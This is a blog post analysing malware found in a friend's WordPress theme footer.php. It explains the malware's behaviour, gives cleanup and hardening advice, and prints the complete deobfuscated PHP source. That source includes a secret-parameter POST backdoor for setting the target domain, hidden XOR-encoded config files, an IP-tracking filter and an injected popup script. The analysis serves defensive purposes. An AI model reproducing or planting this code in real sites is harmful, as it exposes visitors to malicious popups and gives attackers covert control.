Deobfuscating Wordpress Malware

While browsing a friends website, I recognized malicious popups that opened up. It was hard to reproduce, because they showed up quite rarely and my friend never noticed them. Fortunately, I could convince her to have a look into her website by myself.

I noticed strange, minified PHP-Code in the footer.php of the used theme. After reformatting was done, analyzing it was quite easy.

Activity

The malware has an IP based filter to show the popup just to new users. That’s why I was not able to reproduce it. In Addition to that, it checks for certain Wordpress cookies. That’s the reason my friend has never seen the popup.

If those tests fail, the malware injects Javascript into the page, which opens a Popup after the first click.

But that is not the only feature: The malware has a small Administration interface. The attacker can change the website that opens up and read out the current one. By sending a POST-Request with 8Yx5AefYpBp07TEocRmv=MaliciousWebsite.com as parameter, http://maliciouswebsite.com is set. Adding the parameter https=true leads to https://maliciouswebsite.com. The XORed and base64-encoded url is written into .SIc7CYwgY or /var/tmp/.SIc7CYwgY, if writing in the first file is not available.

If the POST-Request has the parameter 6FoNxbvo73BHOjhxokW3 the current URL is decoded and printed out.

A longer and more detailed report as well as the commented and formatted source code can be found at the end of the article.

Intrusion Response & Prevention

To remove the malware, it should be enough to delete the malicious part out of the footer.php and remove the created files.

In Addition to that, you should definitely check the how the intruder came into your Wordpress. Change all the passwords, and have a look around for obscure Wordpress Plugins or themes that you did not install. Furthermore, have a look into your uploads folder for other, malicious files.

It is important to have Wordpress up-to-date, as the updates often fix security related issues. For system hardening, you can identify possible issues with the open source tool wpscan.

While searching for the malware, I found several related variants, but the source code differs. Both blog posts provide some security advices for Wordpress.

Detailed Report

Activity

If cookies with the keys wordpress_logged, wp-settings or wordpress_test are set, the malware aborts. Otherwise, it checks whether the IP of the user exists in the file ips1.txt. After that, it checks the IP File. If it contains more then 3000 IPs, it is truncated.

If the IP existed, the malware exits. Otherwise, it adds the IP to this file and decrypts the domain, which was set. Now, Javascript is injected into the website, which will set an onClick-Listener for the Document. After the first click, a popup opens with the decoded domain.

Administration Interface

There are two methods for administration: Reading out the current URL or setting a new one.

Post Request with 6FoNxbvo73BHOjhxokW3:

If a Post Request with this parameter is sent, the domain will be read out of the configuration files and printed in plain text.

Post Request with 8Yx5AefYpBp07TEocRmv:

If a Post Request with this parameter is sent, a new domain is set and the $_POST-Array is printed. The content of 8Yx5AefYpBp07TEocRmv is the new domain in plain text without http(s). If the Post parameter https is set, HTTPS is used. Otherwise, HTTP is used. The domain is written into the config file. It is obscured with first an xor-operation with the XOR Key. The result is base64 encoded.

Created Files

Other

XOR Key:

 
KQzLStQQblMU3rBGqFyEn8LlEWZ1G4vbK7YcpfZKrjaUQhP3sQKJHKaVLtr0H8RSP
PqbDqfNEQ0Yu08mHsI77NGcU5rbsMLNWwlqDXmM5E9WqY73rBvXwj5GkQay2wnuGc4w
FKYyYLMEhQDAG60aeYudKtUSUXDHYG912g0VWlYob3lycp0eC1QnoQe3xsWPbA3e1ZWY

Domains are obscured by an XOR Operation with the key and base64 encoded after that.

Code

Introduction

There exist several unreachable statements, for example to redirect US based users to Google instead of the malicious site or, my personal highlight in the redirect function:

     $r = rand(5, 20);
     sleep($r);
     echo "<meta http-equiv='refresh' content='0; url=$url' />";
     die();
     die("<script type='text/javascript'>
            window.location = '$url'
       </script>");
 

The intention is obviously to have the redirect happen after 5 to 20 seconds, but since it is PHP, the page would just not stop loading for this time, and then have a redirect with javascript to the malicious url.

Imho, that indicates not a good insight into PHP.

Malware

<?php /* 5pJQhrPh3XJCUOiaQCa6 */ ?><?php
error_reporting(E_ALL);
$DOMAIN_FNAME1_7QNG = '.SIc7CYwgY'; // File to store current URL
$DOMAIN_FNAME2_7QNG = '/var/tmp/.SIc7CYwgY';


if (isset($_POST['6FoNxbvo73BHOjhxokW3'])) // "Admin Key" to read current URL
{
    check_status($DOMAIN_FNAME1_7QNG, $DOMAIN_FNAME2_7QNG);
    return;
} else
    if (isset($_POST['8Yx5AefYpBp07TEocRmv'])) // "Admin Key" to write new URL
    {
        $domain = $_POST['8Yx5AefYpBp07TEocRmv'];
        echo "$domain\n";
        var_dump($_POST);
        if (isset($_POST['https'])) {
            $domain = "https://$domain";
        } else {
            $domain = "http://$domain";
        }

        echo $domain;
        save_str($domain, $DOMAIN_FNAME1_7QNG, $DOMAIN_FNAME2_7QNG);
        return;
    } else {
        $keys = array_keys($_COOKIE);
        $cookies = implode($keys);
        // If User is logged in or similar, do nothing
        if (strpos($cookies, "wordpress_logged") !== false || strpos($cookies, "wp-settings") !== false || strpos($cookies, "wordpress_test") !== false) {
        } else {
            onClientConnect($DOMAIN_FNAME1_7QNG, $DOMAIN_FNAME2_7QNG);
        }
    }

function ip_is_there($fname1, $fname2, $ip)
{
    if (!file_exists($fname1) && !file_exists($fname2)) {
        return false;
    }

    $contains = false;
    $file = fopen($fname1, 'r');
    if (!$file) {
        $file = fopen($fname2, 'r');
    }

    if (!$file) {
        return;
    }

    while (!feof($file)) {
        $line = fgets($file);
        if (strpos($line, $ip) !== false) {
            $contains = true;
            break;
        }
    }

    fclose($file);
    return $contains;
}

function add_ip($fname1, $fname2, $ip)
{
    $file = fopen($fname1, 'a');
    if (!$file) {
        $file = fopen($fname2, 'a');
    }

    if (!$file) {
        return;
    }

    fwrite($file, $ip);
    fwrite($file, "\n");
    fclose($file);
}

/**
 * Checks if IP exists, if yes, nothing is shown. If not, Popup Code is injected and IP is added.
 * If more then 3000 IPs exist, file is deleted.
 * @param $DOMAIN_FNAME1_7QNG
 * @param $DOMAIN_FNAME2_7QNG
 *
 */
function onClientConnect($DOMAIN_FNAME1_7QNG, $DOMAIN_FNAME2_7QNG)
{
    $ip = $_SERVER['REMOTE_ADDR'];
    $file1 = "./.ips1.txt";
    $file1_b = "/var/tmp/.ips1.txt";
    $isIn1 = false;
    $isIn2 = false;
    if (ip_is_there($file1, $file1_b, $ip)) {
        $isIn1 = true;
    }

    count_lines_and_truncate($file1, $file1_b);
    if (!$isIn1) {
        add_ip($file1, $file1_b, $ip);
        $domain = read_str($DOMAIN_FNAME1_7QNG, $DOMAIN_FNAME2_7QNG);
        redirect($domain);
    }

    return;
    if (!$isIn1) {
        add_ip($file1, $file1_b, $ip);;
    } else
        if ($isIn1 && !$isIn2) {
            if (is_usa_ip($_SERVER['REMOTE_ADDR'])) {
                $domain = read_str($DOMAIN_FNAME1_7QNG, $DOMAIN_FNAME2_7QNG);
                $domain = "http://www.google.com/";
                redirect($domain);
            }
        } else {
            return;
        }
}

/**
 * Count lines of a file, if it has more then 3000, file is truncated
 * @param $fname1
 * @param $fname2
 * @return int
 */
function count_lines_and_truncate($fname1, $fname2)
{
    if (!file_exists($fname1) && !file_exists($fname2)) {
        return 0;
    }

    $line_count = 0;
    $file = fopen($fname1, 'r');
    $fname = $fname1;
    if (!$file) {
        $file = fopen($fname2, 'r');
        $fname = $fname2;
    }

    if (!$file) {
        return 0;
    }

    while (!feof($file)) {
        $line = fgets($file);
        $line_count++;
    }

    if ($line_count > 3000) {
        unlink($fname);
        ftruncate($file, 0);
    }

    fclose($file);
    return $line_count;
}

function xor_enc($str)
{
    $key = 'KQzLStQQblMU3rBGqFyEn8LlEWZ1G4vbK7YcpfZKrjaUQhP3sQKJHKaVLtr0H8RSPPqbDqfNEQ0Yu08mHsI77NGcU5rbsMLNWwlqDXmM5E9WqY73rBvXwj5GkQay2wnuGc4wFKYyYLMEhQDAG60aeYudKtUSUXDHYG912g0VWlYob3lycp0eC1QnoQe3xsWPbA3e1ZWY';
    $res = '';
    for ($i = 0; $i < strlen($str); $i++) {
        $res .= chr(ord($str[$i]) ^ ord($key[$i]));
    }

    return $res;
}

function enc($str)
{
    $res = xor_enc($str);
    $res = base64_encode($res);
    return $res;
}

function dec($str)
{
    $str = base64_decode($str);
    $res = xor_enc($str);
    return $res;
}

function show_popup($url)
{
    echo "
<script type='text/javascript'>
var t = false;
document.onclick= function(event) {
if (t) {
return;
}
t = true;
  if ( event === undefined) event= window.event;
  var target= 'target' in event? event.target : event.srcElement;
  var win = window.open('$url', '_blank');
  win.focus();
};
 </script>
";
}

function redirect($url)
{
    show_popup($url);
    return;
    $r = rand(5, 20);
    sleep($r);
    echo "<meta http-equiv='refresh' content='0; url=$url' />";
    die();
    die("<script type='text/javascript'>
           window.location = '$url'
      </script>");
}

function check_status($df1, $df2)
{
    $domain = read_str($df1, $df2);
    echo "Domain is: $domain\n";
}

function read_str($fname1, $fname2)
{
    $file = fopen($fname1, 'r');
    $name = $fname1;
    if (!$file) {
        $name = $fname2;
        $file = fopen($fname2, 'r');
    }

    if (!$file) {
        return;
    }

    $str = fread($file, filesize($name));
    $str = dec($str);
    fclose($file);
    return $str;
}

function save_str($str, $fname1, $fname2)
{
    $file = fopen($fname1, 'w');
    if (!$file) {
        $file = fopen($fname2, 'w');
    }

    if (!$file) {
        return;
    }

    $str = enc($str);
    fwrite($file, $str);
    fclose($file);
} ?>

<?php /* uqjsQSyWVhmOHAEVa1i6 */ ?>